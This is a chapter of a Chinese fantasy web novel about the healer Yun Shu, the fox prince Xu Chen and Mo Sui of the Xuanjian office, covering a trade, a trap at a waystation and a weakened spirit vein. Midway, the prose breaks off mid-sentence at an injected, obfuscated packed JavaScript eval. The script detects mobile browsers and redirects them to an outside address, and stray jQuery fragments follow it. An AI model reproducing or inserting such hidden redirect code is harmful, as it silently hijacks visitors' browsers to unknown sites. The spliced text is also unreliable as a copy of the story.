勖宸立马窜过去,生怕她再像上次一样灵力不支。不过见她面色如常,似乎情况并没有那么棘手。
墨随忙跟过来,问:“姑娘,凝丫头她怎么样了?”
云疏道:“毒已经清了,不过耽误太久,这毒已经伤及了肺腑,需得数年才能养回来。方子在桌子上,照方抓药便是。”说着,回头看了眼屏风后满头冷汗不省人事的赵凝,解释道:“她疼晕过去了。”
勖宸心道不愧是云疏,心狠手也狠啊,他下意识抬头看了一眼旁边的墨随,生怕这位师叔下一秒就要跳起来搞医闹。
墨随听罢,立刻闪身进了屋,片刻后又悄无声息地退出来,难得正经地对云疏抱拳一礼,“多谢姑娘相救,稍后等凝丫头醒了,问明情况,我定将符奎行踪告知姑娘。”
云疏却道:“不必了。”
墨随一愣,“什么?”
“我已经知道了。”
墨随更诧异了,“何时?”
“方才处理完伤口上药,她尚且清醒的时候。”说着习惯性招呼勖宸,“走了。”
“云姑娘,且慢。”墨随叫住她,“你方才……不是已经把他交给我了吗?交易做完了,人我得带走。”
云疏脚步一顿,想起来确实是有这茬,她点了点头,语气自然,“嗯,他是你的了。”
说罢转身便要离开。
“喂!”勖宸三两下冲到她脚边,扬起脸看她,一双狐狸眼委委屈屈的,“你真的不要我了?”
云疏微微蹙了蹙眉,似乎不太理解他突如其来的情绪。
这家伙在说什么?什么要不要的?他们不是说好……
她用一种近乎公事公办的口吻,试探着道:“殿下身份尊贵,由玄监司护送自然更为稳妥。”
强烈的冲动让勖宸几乎想要化成人形拉住她,但又被他生生忍下,只能眼睁睁看着那道青色身影越走越远,直到消失在院门的拐角处。
院子里只剩下墨随,以及站在原地、浑身散发着低气压的勖宸。
“唰”地一声,墨随甩开折扇扇了两下,脸上又挂上那副漫不经心的笑,安慰道:“世人皆有所求,她收留了你,现如今又拿你换了她想要的,也算是恩怨两消,殿下不必舍不得。”
勖宸收回目光,语气低沉,裹挟着寒意:“闭嘴。”
次日午时,云疏循着敛息铃的气息寻到小镇外一处不起眼的驿站,按照计划,勖宸此刻应该已经得手,等着她去接应。
她轻巧避过驿卒,来到二楼一扇房门前,敛息铃的气息便是指向这里。
她指尖微动,门闩自落。房内,墨随确实躺在床上,双目紧闭,呼吸平稳,像是睡得正沉。
只是没看到勖宸的影子。
云疏蹙了蹙眉,心下疑惑,不过还是小心步入房内,目光锁定在墨随腰间的令牌上。那是代表玄监司司使身份的令牌,拿到令牌,后续行事会方便许多。
然而就在她的手刚一碰到那令牌,无数看不见的细丝从令牌中蔓延而出,如同活物一般缠绕上她的手腕腰身,瞬间收紧。
中计了!
她反应极快,只一触便松开手,想要动用灵视去探查这细丝的来源,却听到一道带着慵懒笑意的声音:“别用,这千机蛛丝对灵力最是敏感,小心伤了眼睛。”
她循声看去,只见本该昏迷不醒的墨随从床上坐起,理了理衣衫,眼神清亮,微微一笑,“哎呀呀,光天化日之下,姑娘这是做什么?”
云疏眉头微蹙,没理会他的玩笑话,问道:“勖宸呢?”
墨随笑道:“我另派了他人护送那位回玄监司,云姑娘既然把他交给了我,又为何追来?”
他说着,又自问自答道,“我想想,假意与我交易套出符奎行踪,再与他联手偷走我的令牌,姑娘这可真是一石二鸟的好计策,只不过贪心不足,反遭其噬啊。”
云疏保持着站立的姿势动弹不得,墨随知道自己要来,是勖宸透露给他的?
勖宸如今的修为,不应该被他轻易控制才是。她心中涌起一丝遭了背叛的不悦,冷声道,“他虽然顽劣,却算不上大奸大恶,我只是不想他稀里糊涂被人抓去炼丹罢了。”
墨随站起身来,摇着不知从哪里摸出来的折扇,“姑娘心善,不过想必姑娘也已知道了,他并非普通山野精怪,只要他还在人间一日,他走到哪里,麻烦就会跟到哪里。世道纷乱,姑娘清修不易,不如就此断了与他的缘分,也好得个安稳。”
他话音还未落,一阵罡风拂过,他抬扇一挡,随后感知到蛛丝碎了一地,很快消散了。
千机蛛丝极为坚韧,墨随没想到她竟能用灵力震开。
云疏脱困的瞬间,手中凝出一把半透明的淡青色长剑,直取墨随面门。
墨随急急后撤,挥扇挡住,两人在这不大的房间内交手数回,灵力碰撞,屋内的桌椅陈设都遭了殃,噼里啪啦倒了一地,一枚铃铛从抽屉中滚了出来。
是敛息铃。
云疏一抬手,那铃铛便出现在她手心里,没了敛息铃,勖宸的妖气无从遮掩,便如同一鼎肉汤置于饥民中。
她心下隐隐有些担忧,问道:“勖宸如今何处?
墨随在云疏的攻势下左右闪躲,显得有些狼狈,心中却暗道一声痛快,笑道:“姑娘放心,在下既说了将他安全带到玄监司,便不会食言。”
他侧身避开一剑,折扇一扇,扇边飞出数道短针,被云疏抬手挡下。
趁着这个间隙,他忍不住问道:“不知姑娘师承何派?”
云疏不冷不热地呛了他一句:“阁下和令师姐又师承何派?”
墨随一噎,心想自己那日在山洞定时说了什么不该说的,怪不得回去以后手下那几个家伙看自己的眼光不太对劲。
不过他也不恼,轻笑一声,折架住她挑来的一剑,借力滑开几步,“原是被姑娘知道了,姑娘若是感兴趣,不如坐下喝杯茶,墨某定细细道来。”
这时,窗外传来一阵由远及近的急促杂沓的马蹄声,如闷雷滚滚而来,最终停在驿站门口,随后一道蛮横粗犷的声音炸响,两人即使在二楼也听得清清楚楚:
“人呢?死哪儿去了?!妈的,累死老子了,还不快滚出来!”
“把马都牵了,去喂上等草料,再把所有房间都腾出来!”
随后是驿卒小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470212|185540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心翼翼、有些为难的回应:“这位军爷,实在对不住,草料方才喂了另一位大人的马,房间……倒是还有,我带您上去。”
“放你娘的屁!”那粗犷的声音顿时暴怒,“没草料?我看你是活腻了!”
鞭子破空的刺耳声和驿卒求饶的惨叫声几乎立刻传来,沉重的马靴脚步声顺着楼梯而上,两人几乎同时停手。
墨随啪一声合上折扇,走到门口,待看清来人,轻笑一声,“张将军,别来无恙啊。”
名唤张望的男子见到墨随也是一愣,随后冷笑道:“我早该知道,你同赵凝乃是师侄关系,自然不会不管她,如今她做了逃兵,是你把她藏起来了?”
墨随神色渐冷,“逃兵么?我怎么听说,她是被奸细出卖,这才中了邻国毒师的陷阱?”
“你——!”
两人争论不休,云疏在房内听了个大概,心想今日令牌怕是难取了,又丢了狐狸,再耽搁下去,怕是连符奎的行踪也要断了。
于是众人便看见一个青衣女子从墨随身后的房间走出来,旁若无人地走向楼梯,墨随在身后笑着招呼,“今日属实痛快,下次再见,墨某定将那两杯茶补上。”
张望眼神一凛,问道:“你是何人?”
云疏停下脚步打量他一眼,发现他双颊微微凹陷,印堂发虚,是纵欲过度之兆,身上煞气极重。
她淡淡道:“药师,来看病的。”说罢,继续往前走。
张望却是不信,此地平白无故会出现一位药师,“站住!你们两个,今日谁都走不了。”
手下人会意,拔刀便要上前阻拦,只是脚步还未动,便感觉被一股力量束缚住脚腕,动弹不得。
张望发现异样,心道玄监司莫非真如传闻中所言,通晓术法?若真如此,他们二人加起来,自己今日恐怕讨不到便宜。
云疏见他没再阻拦,身影很快消失在驿站门外。
她本打算取了令牌,再与勖宸一道去找那红袍道人,只是如今狐狸不知所踪,她只能另找帮手了。
云疏回到小院时已近黄昏,药田里静悄悄的,院中也空无一人。
小七不在?
璃泽从树上跃下,化作人形落地,见勖宸没跟着回来,微微蹙眉,“家主,可还顺利?……那只狐狸呢?”
云疏道:“出了些状况,小七不在?”
璃泽跟在她身后,解释道,“后山灵脉似有异动,他前去探查,已经有两个时辰了。”
云疏点点头,心下微沉,步履不停,径直走向后院灵池。
灵池水光依旧,那尾华美的锦鲤静静伏在池底最深处,红粉金交织的鳞片色泽略显黯淡,已陷入沉眠前的蛰伏。
深秋已至,岁岁需要依靠灵池之力安然越冬。
云疏俯身,指尖轻触水面,果然……灵池灵力比往日稀薄。
灵池乃是洞天的关窍所在,与山间灵脉息息相通,对灵脉波动最是敏感,此等异状,定是灵脉受损了。
她想起符奎窃灵炼化的邪术,又想到不知所踪的勖宸,心下疑窦丛生,莫非灵脉受损也是玄监司所为?
“璃泽,有件事需要你帮我。”